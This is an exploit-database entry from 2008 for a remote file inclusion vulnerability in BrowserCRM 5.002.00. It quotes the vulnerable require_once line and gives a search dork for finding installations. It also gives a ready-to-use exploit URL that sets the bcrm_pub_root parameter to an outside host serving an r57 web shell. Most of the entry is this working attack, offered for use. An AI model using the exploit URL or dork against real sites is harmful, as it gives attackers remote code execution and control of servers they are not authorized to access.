BrowserCRM 5.002.00 - 'clients.php' Remote File Inclusion

EKU-ID: 13688	CVE: OSVDB-46038;CVE-2008-2690;OSVDB-46037;CVE-2008-2689;OSVDB-46036;OSVDB-46035;OSVDB-46034;OSVDB-46033	OSVDB-ID:
Author: ahmadbady	Published: 2008-06-08	Verified:
Download:

Rating

☆☆☆☆☆

script: browsercrm-5.002.00 remote file including

Download From: http://www.browsercrm.com/download/browsercrm-5.002.00.tar.gz

dork: Copyright Â© 2007 BrowserCRM Ltd

Vuln Code :

require_once($bcrm_pub_root . "/public_prepend.inc.php")


exploit:

www.site.com/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt?


Author: ahmadbady | kivi_hacker666@yahoo.com

# milw0rm.com [2008-06-08]